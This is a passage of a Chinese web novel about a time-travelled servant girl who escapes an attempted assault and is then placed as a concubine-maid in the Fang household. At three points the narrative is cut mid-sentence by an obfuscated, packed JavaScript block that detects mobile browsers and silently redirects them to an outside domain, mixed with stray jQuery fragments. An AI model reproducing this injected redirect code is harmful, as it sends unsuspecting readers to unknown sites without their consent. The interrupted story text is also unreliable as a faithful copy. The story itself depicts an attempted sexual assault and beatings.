何夫人也没抬头,挥手示意他去。 明大元一出院门,马上就找人自家几个子侄,“你们现在马上去把舒容那个丫头藏起来。” 现下只要把夫人应付过去就好,府中丫头多得是,只要她走了庄子上还是自己说了算。 舒容在半山腰的山坡上掰香椿,碰到刚领完赏钱也来掰香椿的小琴。 “什么事啊,你这么高兴?”舒容笑着问道。 小琴指着坡底下的大宅子,那里是方府在这个庄子的别院。拿手挡着嘴巴,小声说道:“是你我才说的,昨天夫人来庄子上了,说要挑个丫鬟,要十六岁,今天又说要六月六日生,就把我们打发回来了,不过每个人发了一百文赏钱。明庄头昨天来我家找我,让我别往外说呢。” 看来张道士果然信守承诺。明庄头故意不告诉她,估计就是为了那个酒鬼儿子。 舒容借口有事,匆匆离开。还没到家,远远看着几个男人往她家方向去。舒容小心躲过他们,拔腿就往别院的方向跑。 明大元回来的时候,何夫人已经把花名册看完了。 “明庄头,我看花名册里还有一个叫舒容的姑娘也是十六岁,你怎么没把她带来?” 明大元拍了拍脑袋,装出一副惊讶的样子,“瞧我这脑子,看个花名册都看不仔细,夫人,我马上让人去把她叫过来。” “不用了,我已经让人去叫了,你也忙了半天,坐下来喝口茶。珍珠,给明庄头倒茶。” 舒容只顾着往前跑,没想到被地上的石块绊了一脚,摔到了旁边的挖来蓄水的黄土坑里,现下还好没有水。水池子有一人高,舒容手脚并用,费了大劲儿才踩着挖池子时留下的痕迹爬出来。顾不得一身的泥土,继续往别院的方向跑去。 还有不到一百米就要到时,舒容遇到了明二宝。 “舒容妹妹往哪里去?你乖乖等着给我做娘子吧。”明二宝浑身酒气,色眯眯地上下扫视舒容。 猥琐的眼神让人极其不适。舒容想躲过他继续跑,被他一把推倒在旁边的草垛子里,看着摔在地上的舒容,他笑道:“不如我们就在今天成了好事。” 说着就要欺身上来,舒容迅速侧身想起身跑,又被明二宝给拽回来,舒容的武力值经过锻炼和打舒力已经恢复过来,可是明二宝不是舒力那样的豆芽菜,他是座肉山,她之前的想法有些失误。 舒容拳拳到肉也没办法脱身,明二宝吃痛,一个巴掌狠狠打在舒容脸上。舒容脸上马上泛起红痕。他又企图摁住舒容脑袋往地上撞。舒容反咬住他的手,想朝他要害处踢一脚,却踢到柱子般粗的大腿。明二宝看舒容挣扎的样子就想去扯她衣裳,舒容抬手往他眼睛狠狠揍一拳,趁他松手的时候赶紧起身。 还没走出几步又被明家找他的几个男人拦住,明二宝在两个人的搀扶下站起来,恶狠狠地说道:“死丫头,你别给脸不要脸,你哥已经把你卖给我了。”说着就走过来,又想扇舒容耳光,舒容瞅准机会用尽全力往他命根子处狠狠踢一脚。明二宝捂住下身,眼睛里顿时滚出泪来,一副痛苦的模样。 明家人见状上来想拉住舒容。 瞥见山上有几个妇人走来,舒容开口大声呼救。 “救命啊!救命啊!庄头儿子打人啦!” “他春婶,那有人在喊救命!”耳朵最灵敏的妇人王翠娥喊着其他几个人往舒容的方向跑。 就在明家人正用绳子绑起舒容时,王翠娥她们赶到了。 “你们干什么呢?”王翠娥尖声喊道。 看见舒容脸上的掌印和地上呻吟喊痛的明二宝,没谁不清楚发生了什么。 “你们明家明抢是吧,舒容不愿意就给打成这样子。”王翠娥往明二宝身上吐了口唾沫。 其他几个妇人连忙把舒容从明家几个男人手里抢过来。把她护在身后。 王翠娥的骂声引来附近的人,她的底气更大了,她素来也爱管些不平事。 “大家都来看看,我们几个奉夫人之命来找舒容,结果就发现舒容被明二宝这个酒鬼欺负,给舒容脸上都打肿了。明家这几个人也不是东西,我们过来正看见他们要用绳子绑舒容呐。” 围观的众人看着明家几人的眼神里充满鄙夷,只是碍于明庄头只敢窃窃私语。 “翠娥婶,夫人让赶紧带舒容过去呢。”从人群中挤进来一个十二三岁的小男孩大声说道。 明家几个人想跑也被众人围住,让他们抬着明二宝一起去夫人面前评理。 看见自己宝贝儿子被人打得鼻青脸肿,明大元连忙从凳子上起身飞奔到儿子面前。 “爹的二宝,谁把你打成这样,告诉爹,爹给你报仇。”明大元怜爱地看向自家儿子。 “明庄头,你可别搞错了,是你家宝贝儿子把舒容给打了,你们家几个人还想绑她,我们几个可都看见了。”王翠娥拉着舒容站到前面对明庄头大声说道。 说完拿过旁边妇人手里拿的麻绳扔到他面前。 躺在地上的明二宝,喘着粗气,指着舒容道:“她,爹,就是她打的我!” “吵什么,夫人在这里,一个个地把事情说清楚。”碧桃对着众人喊道,场面安静下来。 何夫人从屋子里出来,一眼就看见了舒容,她虽然此刻头发乱糟糟,身上沾满黄泥土,脸也还肿着,可瞧那双丹凤眼和身段,确实是个漂亮姑娘。 “你是舒容?”何夫人问道。 舒容往前站了一步,“回夫人,我就是舒容。” “舒容,我昨日让明庄头通知大家我要找个十六岁的丫鬟,明庄头可有派人跟你说?” “我不知道这件事。”舒容摇摇头。 “你身上的伤是怎么来的?”何夫人又问。 “我正在路上走,被明二宝拦住,他欲行不轨之事,我誓死不从,明二宝便发了疯地打我。多亏我有些力气,打了他眼睛一拳,刚想趁机求救就被明家的几个人拦住,拿着绳子就要绑我。要不是翠娥婶子她们,我……我……” 舒容说着眼泪就滚滚落下,她哭得上气不接下气,单薄的身板随之颤动,周围的好些妇人眼里都泛起了泪花。 她的委屈不甘都在此刻爆发,她穿到这个陌生时空,她失去了所有,成为一名家生子,还要在这里被猥琐男觊觎,被亲哥当货一样卖,她真的受够了! 何夫人不自觉被眼前这个女孩的哭声打动。碧桃,珍珠两个丫鬟都拿着手帕擦眼泪,就连一向严肃的张嬷嬷内心也十分触动。 王翠娥等人都站在舒容旁边安慰她,舒容用袖子擦去泪水,平复呼吸,朝何夫人的方向跪了下来。 “请夫人为舒容做主。” 何夫人连忙上前把她拉起来,“起来吧,我会公正处置的。” “明庄头,你有什么想说的?”何夫人看着明大元严厉地问道。 明庄头扑通一声跪下,分辨道:“夫人,这件事是误会。舒容他是我家二宝的未婚妻,我和她家哥哥已经商量好这个月就往她家提亲。我家二宝是拿她当娘子看待,一时情不自禁才会犯下如此错误,实在是情有可原啊。” “舒容,你可知此事?” 舒容连连摇头,“夫人,我根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143185|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这件事。我父母双亡,我家哥哥是个赌鬼,这是大家都知道的事。我的月钱都被他拿去赌光了,他就是想把我卖了好赌钱。我不要嫁给明二宝那个烂酒鬼。请夫人给我做主啊!” “夫人,我可以作证,之前舒容生病他哥哥对她不管不顾,还是好心的花大娘帮舒容喊的大夫抓的药。” “我也可以作证,我在庄子门口经常看到舒力去赌钱赌到第二天早上才回来。” “之前舒容妹子还说明二宝在路上拦她。” 何夫人抬手,众人安静下来。 “这件事情很清楚了,明二宝自作自受,明庄头你仗势欺人,至于你家这几个子弟更是为虎作伥。”何夫人语气严厉。 听到她说到自己,明家那几个人害怕地纷纷跪下。 “你会认字吗?”何夫人指着王翠娥问。 “夫人,我能识几个字,我家男人识字。” “好,你叫什么名字?” “我叫王翠娥。” 何夫人赞许地看她一眼,朝着大家说道:“从今天起,王翠娥就是这个庄子的庄头。我家的庄子还没有过女庄头,就从这里开新例了!” 王翠娥高兴地张大了嘴巴,心脏感觉都要跳出来,她从没想过自己有一天还能当上庄头。 “不过你要用心做,这是暂时的庄头,要是等到年底你做得好,我就任你当真正的庄头,要是做得不好,我就要另外选人了。” “多谢夫人,多谢夫人,我一定好好干!”王翠娥笑道。 一旁的明大元,脸上尽是怒气,不满地说道:“夫人,我可是服侍过老太爷的人,这么多年没有功劳也有苦劳。你怎么能这么对我?” 何夫人冷眼看着他,“怎么,服侍过老太爷就要骑到我脑袋上去,想找老太爷说理往地府里找去。” 明大元没再说话,愤恨地盯着面前的土地。 何夫人又接着说:“明大元,明二宝罚月银一年,其他几个明家人罚月钱两个月。至于对舒容的赔偿就由明二宝赔十两银子。” 说完看向舒容,柔声问道:“舒容,这样的惩罚你可还满意?” “夫人处置公正,舒容满意。”明家没了作恶的倚靠这是再好不过了。 明二宝惊恐地看向他爹,“爹,怎么办?” 明大元抬头看向何夫人,“夫人,这银子……” “哼,不要跟我说拿不出来,你的身家有多少别打量我不知道,今天未时正亲自拿到我面前来。” 明家父子用阴狠地眼神看向舒容,像地沟里的两条毒蛇吐着信子随时准备对人发起进攻。 “今天帮舒容的几位,每人赏两百文。其他人都散了吧,舒容留下。” 何夫人让碧桃她们先给舒容洗个澡,换身衣裳。 “舒容见过夫人。”一道温柔的女声传来。 坐在椅子上和冯嬷嬷闲话的何夫人,看到换了一身粉色海棠花衣裙的舒容,眼前一亮。真是个美人,尤其那双眼睛,凤尾上挑,勾人心魄。 “过来,让我看看。” 舒容走到何夫人跟前,何夫人拉起她的手,果然在左手掌心看见米粒大小的一枚红痣。 何夫人又抬眼近距离地观察舒容,搞得舒容有些不好意思,对她微微一笑。 果然有一对梨涡。 “舒容,你生辰是什么时候?” “六月初六。” 何夫人与张嬷嬷对视一笑。 何夫人问了些舒容家的事情,又谈到方二郎的种种事。 “舒容,你愿不愿意做我家二郎的通房?分例上我会按姨娘的给你,绝不会委屈了你。” 舒容想起自己给张道士的那个银镯子,心里抓狂,我求的是当丫鬟不是当通房丫鬟啊!可眼下也只能答应,何夫人虽惩罚了明家人,可她势单力薄,君子不立危墙之下,还是离开为好。好在她从多方了解到方二少爷不喜女色,何夫人也说他要二十岁后才成亲,她要好好抓住这三年时间,先好好攒钱,再想办法脱离奴籍,争取做个自由人。 “夫人,我愿意。” 明大元按时送来了十两银子,何夫人亲手交到舒容手上。舒容回了趟家把原身母亲给原身藏嫁妆的木盒子带上,便跟着何夫人到了方府。 5. 初次相见 到方府时已是戌时,何夫人拉着舒容的手下了马车,管家康健安领着几个仆人挑着灯笼正在大门口等候。 “太太,您回来了。” 身穿褐色直裰的康健安热情地向何夫人问好,又看向何夫人旁边的舒容,不着痕迹地快速打量一眼。问道:“太太,这位是?” “康管家,这是舒容。是二少爷的房里人,以后便称呼舒容姑娘。” 何夫人笑着对康健安说道,接着又转过头对舒容说:“舒容,这是府里的康管家。你随着二郎称呼康叔。” 舒容朝着康健安甜甜喊了一声康叔,康建安也连忙客气回礼。 “好了,别在大门口杵着了。”何夫人说着就拉着舒容往里走。 “碧桃,你去竹香院把二少爷叫过来。”何夫人吩咐道,碧桃应声离开。 方府着实大,走了近一盏茶时间才到采晖堂。采晖堂的院里种着好些花树,映在烛光下分外好看。屋内的布置低调而奢华,全套的紫檀木桌椅,靠墙的紫檀木长条案上,放着一樽红色珊瑚,珊瑚两边摆着两只长颈蓝色瓷瓶。靠窗的黑漆三足盆架上摆放着开得正好的一盆红色山茶花。 何夫人一眼看见山茶花,笑骂道:“这老东西。”几个丫鬟在旁发笑。舒容不明所以。 “舒容,你莫拘谨,今后方府就是你的家了。来,坐这儿。”何夫人招呼舒容在椅子上坐下,又让彩云去厨房传菜。 珍珠端着两盏茶水过来,舒容接过茶喝了一口,是上好的碧螺春。 何夫人喝了半杯茶,突然想起一件事,“珍珠,你去把养鸟的那个小丫头叫过来。” 不一会儿,一个身着浅桃红色对襟袄,穿草绿色马面裙,头梳双丫髻的一个小姑娘就随着珍珠走进屋来。小姑娘脸红扑扑,圆鼓鼓,像那枝头上即将开放的桃花骨朵。 小姑娘走到何夫人面前,恭敬问话道:“太太,您唤我什么事?” 何夫人朝着舒容说:“舒容,这是我院里最小的丫鬟,名叫绿影,你别看她小,也是伶俐非常。今后便指给你做丫鬟。” 舒容连忙起身,笑着道谢,“谢太太赏赐。” 何夫人朝她点头,又嘱咐绿影今后好好照顾舒容。 正说话,饭已经摆好。闻到饭菜香气舒容不禁分泌起口水。虽然在马车上何夫人分她枣泥糕,但她为着矜持只吃了两小块。今日白天又和明二宝打了一架,中午也没来得及吃,早上吃的一大碗面条早就消化干净,此刻正是饥肠辘辘。 舒容刚上桌,拿起筷子准备夹面前的那盘干烧豆腐,背后突然响起一道突兀的男声。 “儿子给娘请安。”方冉途对着坐在上首的何夫人恭敬问安,余光瞥见桌上的陌生女子。 何夫人抬头看是方冉途,亲切地唤道:“二郎来啦,吃过饭没有,快来吃点。” 舒容放下手里的筷子,等着何夫人介绍自己,她轻抿唇瓣,脸上扯出一抹笑。 方冉途走到桌前,道:“娘,我已经在竹香院吃过晚食。” “好,那你先到里面坐着,等我们吃完饭再和你说话。”何夫人说道。 方冉途走到偏厅的椅子上坐下,丫鬟们都知道他不喜女人靠太近,放下茶就离得远远站着。 见舒容停箸,何夫人拿起一个干净小碗舀了一碗乌鸡汤递给舒容。 舒容含笑接过,“谢谢太太。” “嗯,先吃饭吧。你今天经历太多事,多吃点。你和二郎的事,等吃完饭再说。”何夫人说着又往舒容碗里用干净筷子夹了一块腊肉。 舒容吃了一小碗饭,又把何夫人盛的那碗鸡汤喝完,胃里才感觉不再空落落的。她没穿越过来前每顿都要吃一大碗饭,此外还要吃各种水果零食奶茶。穿过来后只有粗粮和青菜可以吃,鸡蛋都不是天天有,还要天天干活。她现在的饭量已经可以每顿吃下两大海碗的菜粥,可就算这样有时晚上还会饿得睡不着。 “舒容,多吃点,不要觉得拘束。我这个年纪一顿饭都还能吃两小碗呢。你小姑娘更要多吃点。” 张嬷嬷帮舒容又添了满满一碗饭,何夫人又给她舀了一碗鸡汤。又两碗下肚,舒容觉得胃里有七分饱了。于是放下筷子,道:“太太,我吃好了。” 何夫人见她吃饱,也跟着放下筷子。 两人漱了口,便往偏厅去。 还没过转角的红色珠帘,舒容便看见在堂中端坐的那人。天蓝色的衣裳,比女子还要白上几分的面庞,整个人仿似被温柔夜色笼罩下的皎皎明月。见他似乎要看向这边,舒容立马垂下头去。 听见响动,方冉途侧过身朝外面看,见母亲进来,便起身迎候。瞥见母亲身后的那抹粉色衣裙,心下有些不安。 何夫人走到方冉途近前,拉过身后的舒容,笑着开口道:“二郎,这是舒容,是我们京郊庄子上的家生子,母亲指给你做通房丫鬟。” 方冉途一时愣住没有接话,他以为母亲临时起意去庄子是为了赏花,没想到是去给他选人。 舒容见方冉途玉色面容下的隐隐愠色,恭敬行礼,开口道:“二少爷安好。” 她趁机打量方冉途,方冉途长得实在好看,高鼻梁,大眼睛,薄唇剑眉。身材匀称,腰细腿长,看样子至少一米八以上。舒容觉得他比自己前二十八年人生中见过的帅哥还要好看。给此等帅哥做通房,舒容突然觉得这个工作也不算太亏。 方冉途看着眼前的女子,很想往后退,想到要和女子同处一室,他心中有些发慌。 舒容脸上挂着公式化的微笑,摆出一副乖巧模样。 见儿子迟迟不言语,何夫人有些不悦,开口道:“二郎,舒容是娘亲自给你挑的,你好好对人家。你此前多次拒婚,娘从来不说什么。现在张道士算出你合该晚婚,娘也认了,准许你三年后再谈亲事。可是你身边连个女人都没有始终不是个事。舒容也是我向张道士求来的,与你是有缘的。” 方冉途低头听母亲训话,听到舒容也是张道士算出来的,不禁抬眼看向舒容,舒容面上一派平和,看不出任何破绽,应该只是巧合。 “二郎,你不要辜负娘的苦心。” 听见何夫人愈发加重的语气,方冉途知道这件事情再无商量的余地。何夫人虽然很好说话,对他也向来宽容,可是一旦母亲做了决定的事,便很少能够改变,即使是父亲也不行。 方冉途无奈开口:“儿子知道了。” 舒容瞥她一眼,他的脸色实在算不上好看。 见儿子答应下来,何夫人也放了心。二郎性格虽然冷冷清清,骨子里却也是个善良温暖的好孩子,相信他和舒容能够好好相处。 “这就好了。你带着舒容回竹香院吧,今天舒容累了一天,你安排她早些休息。娘坐马车也浑身酸得很,想早些休息,你们回去吧。” “是,母亲早些休息,儿子告退。”方冉途说完便转身离开,也不顾屋内的舒容。 舒容也赶紧向何夫人告别,领着绿影跟了上去。 方冉途刚开始脚步有些快,舒容只能近乎小跑地跟在后面。 康平提着灯笼走在前面,知道是二少爷心里不痛快,还是忍不住出声提醒道:“二少爷,后面没有灯笼,天黑崴到脚就不好了。” 闻言,方冉途的脚步停了下来,等听到后面舒容跟上的声音才抬脚继续往前走。 舒容看着前面等她的方冉途,心中有些动容,方二少爷看来不是一个狠心的人。 一路上谁也没有说话,只有草地的虫儿叫得欢快。 走了一盏茶功夫到了竹香院。竹香院的面积看起来比采晖堂小上一些,院中确实栽培着几丛翠竹,有风吹过,便沙沙作响。 方冉途领着舒容主仆到竹香院的正厅里,转过身对着舒容道:“母亲既然把你指了我,我也不好说什么。竹香院里有个小院,你今后便住在哪里。” 说完便吩咐康平让人去把桂馨院收拾出来。 “你先在这里等着,等收拾好了有人会来叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143186|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。”方冉途语气冷淡。 舒容面带微笑,语气温和地答道:“舒容遵命。” 方冉途这才第一次看清舒容的相貌。瓜子脸,丹凤眼、柳叶眉,笑起来还有一对梨涡。 他没再说话,冷冷看了舒容一眼,转身往室内走去。 舒容见他一走,脸上的笑容马上收敛起来,吐了口气,自己寻了就近的椅子坐下。 抬眼环视四周,厅正中挂着一幅草书匾额,上面写着“知常曰明”。匾额下摆放两把鸡翅木雕花圈椅,圈椅中间夹着一个黑漆方桌。下首是两排鸡翅木灯挂椅,椅子后面间错摆放着四个黑漆雕花圆几,几上摆着一对冰裂纹双耳瓶和一对粉彩螭耳瓶。。 舒容脸上看不出什么情绪,一旁拿着舒容包袱的绿影却有些着急,她知道二少爷素来不喜女色,她和舒容在竹香院肯定落不到好了,“姑娘,二少爷摆明不喜欢我们,怎么办呀?” “既来之,则安之。”舒容看着绿影说道。 绿影看舒容不想说什么,也不再继续说话,屡屡伸长脖子张望着外头。 “绿影,你到方府有多长时间了?”舒容还是决定跟这个小姑娘聊聊天,先彼此熟悉一下。 “奴婢到方府已经有两年了,一直在太太院里做洒扫丫鬟,平时给太太的鸟儿喂食。”绿影恭敬地答道,她还摸不准舒容的脾气,只一五一十答话。 “那你今年多少岁?”舒容抬头看她,脸上扬着笑意。 “奴婢今年十二岁。” “家中还有些什么家人?是怎么到府上来的?”舒容又问。 “奴婢家中除父母外,还有一双弟妹,他们今年一个八岁,一个六岁。奴婢当年是因为母亲生病无钱医治父亲才把我卖给人牙子的,我家就在京城外的大石头村。”绿影谈起家人语气欢快起来。 舒容笑着点头,“你爹娘可来看过你?” 绿影笑着说:“我爹每次来京城都会来方府看我,给我带我娘做的烙饼。我爹还说想攒钱给我赎身,不过我觉得在方府挺好的,每个月的月钱我都攒起来,我说给我爹,我爹也不要,让我自己攒着将来做嫁妆。” 舒容又和绿影闲话了一炷香时间,康平才从外头进来。 “舒容姑娘,桂馨院收拾好了,我这就带您过去。” “劳烦小哥。”舒容起身朝康平点头。 康平在前引路,对着身侧的舒容开口道:“我是二少爷身边的贴身小厮,姑娘以后唤我康平就好。” 桂馨院就是竹香院中隔出来的一座小院,只有一进大小,因里头栽有两株丹桂树而得名。方冉途的奶嬷嬷曾经就住在此处,后来奶嬷嬷离府回乡桂馨院便空置下来,一直无人居住。 康平把人领到桂馨院门口,便告辞离开。 桂馨院只有四间屋子,一间主屋,两间厢房和一间小小的灶房。康平告诉舒容,桂馨院的一应需要由竹香院供应,如果有不妥之处可以直接找他。舒容走进屋内,一应陈设皆是齐备。 看到桌子上放着的茶壶,舒容倒了两杯水,招呼绿影,“绿影,先来喝杯水。” 说着把一只茶杯递给绿影,绿影接过,受宠若惊道:“谢谢姑娘。” 舒容喝了半杯水,道:“你把我的包袱放在这儿,自己去选一间屋子做你的房间,我这里不用你伺候,今天早些休息吧。” 绿影点点头,把舒容的包袱放到茶桌上,道:“那奴婢就先下去了,姑娘有事就叫我。” 绿影出门顺带把门给关上,屋内只剩自己时舒容觉得浑身有种说不上来的倦意。打架后的酸痛感袭来,略微梳洗一番就倒头入睡。 竹香院书房内,方冉途负手立在窗前,望着夜色中被风无情吹打的婆娑竹影,脸色仿佛冬日寒冰。 “二少爷,桂馨院那边已经安排好了。”康平过来回话道。 “知道了,你下去吧。”方冉途想起舒容那张脸,他知道母亲肯定会让他们二人同房,只希望这一天晚些到来。 6. 何夫人的阅读分享 一眨眼时间过去半个月,舒容在桂馨院里和绿影已经彼此熟悉起来。何夫人在她到方府第二天特意带着大夫到桂馨院看她,给她调养身体,喝了几贴药后舒容觉得自己已经满血复活。 方冉途从没踏足桂馨院,她也很有自知之明地没往竹香院里凑。 这日,舒容和绿影在院里侍弄花草,准备把何夫人前些日子给的两盆栀子花栽到院墙边的那块空地上。 张嬷嬷过来给舒容送何夫人的赏赐,“舒容姑娘,奴婢来给你送东西。” 舒容连忙起身,对张嬷嬷笑道:“张嬷嬷来了,您先在屋里坐,我去洗手。” 不一会儿,舒容走到屋内,今天她穿一件绣紫藤花的长袄裙,头上插着两只绣球样式的紫色绒花。 “姑娘,这是夫人给你赏赐的两幅头面,还有这个月的月银。” 舒容接过,向张嬷嬷道谢,“多谢张嬷嬷跑一趟。” 说完亲手给张嬷嬷倒了一杯茶,“张嬷嬷喝茶。” 舒容让绿影把东西拿到屋内放好,坐下来和张嬷嬷说话。 “姑娘,太太让你午食后到采晖堂来一趟,太太有话要说。” “是。”舒容微笑应道。 张嬷嬷坐了一阵就离开,舒容望着大门的方向,心中叹气,看来这一天还是来了。 绿影高高兴兴地走到舒容跟前,现在她知道舒容也是个好脾气的主子,说话更加自在。 “姑娘,夫人送的两幅头面都好好看。一副是纯银嵌绿玉的,一副是纯银配珍珠的。” 舒容刚才也扫过一眼,工艺样式皆是上品。 “月银呢?”舒容问,比起首饰,她更关心这个。 绿影转身去室内把银子拿过来,交给舒容。 一两银子,是她此前月银的十倍。舒容把银子收起来,对绿影道:“绿影,你可会梳头,下午我要去太太那里。” 最近没有出过桂馨院,她都是自己梳的头,但需要佩戴头面的那种,舒容还没有那个手艺。 “姑娘可是要戴那头面,我跟太太房里的珍珠姐姐学过一阵子梳头,也会梳几种样式。保准给姑娘梳得好看。”绿影得意地说道。 吃过午食,舒容就坐在梳妆台前等着绿影给她梳头。 “姑娘,我给你梳个交心髻吧。”绿影一边用篦子给舒容理着头发,一边询问。 舒容看着铜镜中自己水灵灵的脸蛋,心中欢喜,这个年纪怎么打扮都是好看的。 “你看着来吧。”她根本不知道绿影说的发髻是什么样式。 绿影的手艺不错,很快把头发梳好。从首饰盒中取出两幅头面,歪着头问:“姑娘,今天戴哪副头面?” 舒容侧过头看那两幅头面,“就戴珍珠的吧。” “姑娘,可还要上妆?”绿影问。 舒容拿出脂粉盒,里头是成套的胭脂水粉,都是何夫人命人送来的。她挑出一盒海棠色口脂,用手指轻轻敷在嘴唇上,霎时整个人都鲜亮起来。 绿影在后面叹道:“姑娘,你真好看。” 舒容转头对着绿影璀然一笑,“走吧,选衣服去。” 两人挑挑选选,最后穿了一件莹白色交领短袄配石榴红色马面裙。 收拾妥帖,两人准备出门。桂馨院除了连接竹香院的大门,另外还有一道小门在院子东侧。那门外不远处是府内的东侧门,因不比西侧门近街市,平时府中少有人从此门进出,门所在的小道也十分安静。主仆二人平时为了避开方冉途,去府中闲逛都是走的这道小门。今日也是如此。 没想到在快到竹香院正门的走道上碰到了正下值回府的方冉途。 他穿着青色鸂鶒补子官服,头戴乌纱帽,腰间系乌角带。俊美脸庞依旧面无波澜,看起来冷冰冰的模样。 舒容走到近前,微笑着向他问好:“二少爷安好。” 方冉途看着眼前的舒容,比半月前似乎更明艳几分。 “你是往采晖堂去?”方冉途问。 “是,太太唤我到采晖堂去。”舒容答道。 “嗯,那你去吧。”方冉途说完就抬脚往竹香院里走。 舒容待他走后,便继续和绿影去往采晖堂的方向。 舒容到采晖堂的时候,方家老爷方德言也在此处和何夫人说话。舒容欲在屋外等候,何夫人却让人唤她进去。 方老爷身量不算很高,约莫一米七左右。国字脸,大眼睛、嘴上蓄须,神情看着有些严肃。穿一身青色道袍,头上簪一支墨玉簪。 “舒容,这是老爷。”何夫人介绍道。 “舒容参见老爷。”舒容恭敬问好。 方德言打量舒容一眼,确实如夫人所言是个贞静女子,便训话道:“你以后便好好服侍二郎。” 舒容点头称是。 何夫人见舒容不自在,便把方德言赶到前院去了。方德言走前嗔怪地看了何夫人一眼,何夫人冲他做了个快走的手势。舒容暗中观察这一切,这对夫妻的感情倒真是要好。 何夫人见舒容戴上了自己上午送过去的首饰,心中高兴,围着舒容仔细看起来。舒容本身就姿容姣好,如今衣饰增色,更加光彩照人,比京中的大家小姐也不差什么。 “好孩子,你这略微打扮便如此好看。我这里还有几件鲜亮的旧年首饰,不合我这个年纪戴了,回头我让张嬷嬷给你送过去。你这个年纪戴正是合适。”何夫人望着舒容柔声说道。 “谢夫人赏赐。”舒容笑着回道。 “你方才过来时,二郎可在院中?” “我们过来时,在竹香院正门碰见二少爷,他身着官服,想来刚刚下值。”舒容柔声说道。 何夫人点点头,朝张嬷嬷使了个眼色。 碧桃端上来茶水和一碟糕点。何夫人对舒容道:“这是厨房新做的枣沙饼,我尝着好吃,特意让他们上的,你试试合不合胃口?” 舒容拈起一块,吃了一口,略觉得有些甜腻。“这糕点枣味香浓,配茶吃正好。” “你和我吃到一处去了,先前我让老爷吃了一块,他却吃不来这滋味。” 何夫人看着舒容,虽说她对这个女孩好的原因并不纯粹,但心中也是真的有几分喜欢。 她没有女儿,当年怀二郎时便期望着是个女儿,没想到还是一个儿子。妹妹家倒是有一个女儿,长得也美丽,她却喜欢不起来。那女人小时候诬陷她弄坏了爹爹心爱的长弓,害得她被关在柴房三天天夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143187|164582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴米未进,出来后便得了一场大病。虽说祸不及子女,可是看着念鸿和她娘有几分相似的脸,她就怎么都喜欢不起来。 何夫人挥手让其他人出去,舒容明白何夫人马上就要和她谈话了。 “舒容,你来府中也有半个月了,对府中也有了些了解。老爷是从来不掺和后院事的,一应事情都是我做主。二郎被人算过要二十岁后方可成亲,他平素又不喜女色,所以我心中总是不安才想着给他房里添一个人。可巧就得了你,这也是天定的缘分。” 舒容安静听着,她却觉得这方二少爷或许也是张道士的主顾,只是不知道他所求为何。 “二郎现今没有成亲,只能让你做个通房丫鬟。等他成亲后,我便抬你做姨娘,绝不会委屈了你。” “夫人能救舒容脱离火海,舒容感激不尽。舒容能侍奉在二少爷身侧,也是舒容的福气。”舒容乖巧回答道。 何夫人满脸欣慰,“你这么想就好,我还怕你不喜欢二郎,她对女孩子总是冷冰冰的样子。” 舒容假意羞涩,“二少爷容貌不凡,舒容心中倾慕不已。” 何夫人拉过她的手,拍着她的手道:“如此就好,我已经着张嬷嬷去竹香院张罗去了,今天是个好日子,便可成你俩的好事。” 舒容听何夫人这么说,脸上有些发烫。即使知道何夫人叫她就为了吩咐这件事,亲耳听到还是有点羞耻。 何夫人又把舒容拉到内室她平素午睡的软塌上,给舒容塞了几本春宫图册。 “这个就是你今晚要用到的东西,你先好好学,等会儿我再来叫你。”何夫人说完,飞也一般地离开了。 舒容见过许多后世有关此类的更加大胆的文艺作品,以为里面的内容不过如此,没想到一翻开还是让她感到震惊,古人的花样似乎还更有想象力。 她红着脸把图册翻完,又把图册放回到何夫人装它的布袋子中,就起身出来寻何夫人。 何夫人在廊下逗鸟,见她出来,脸上有些发红,便道:“今日难得二郎归家早,你就回竹香院去吧,两个人一道说说话。” 舒容便和绿影两人一道离开。 竹香院里,张嬷嬷已经把何夫人的话同方冉途讲过一遍,又带着丫头把方冉途的寝房布置一番。临走之前说:“太太让二少爷今晚和舒容姑娘一道吃饭,厨房那边到时候会送菜过来。” 舒容在路上碰到张嬷嬷,张嬷嬷倒没有对她说什么。 等到竹香院,康平看向她的眼色很是复杂,一副欲言又止的模样。 舒容率先开口,“二少爷现在何处?” “二少爷在书房,姑娘先到厅里坐吧。”说着康平把人引到舒容上次来的大厅,又让人给舒容上了糕点茶水。 书房里,方冉途目光缱绻的看着那柄扇子。脑海中浮现的都是表姐的模样,母亲要他和那女人同房,他做不到。 康平轻手轻脚地走了进来,“二少爷,舒容姑娘来了。” 方冉途没有作声,康平见状便退了出去。 舒容在大厅喝了两杯茶水,和绿影一起吃完了整碟桃花酥后终于到了黄昏时分。竹香院的下人进来掌灯,又略坐了一会儿,康平便来请她去和方冉途共进晚膳。 7. 被迫同房 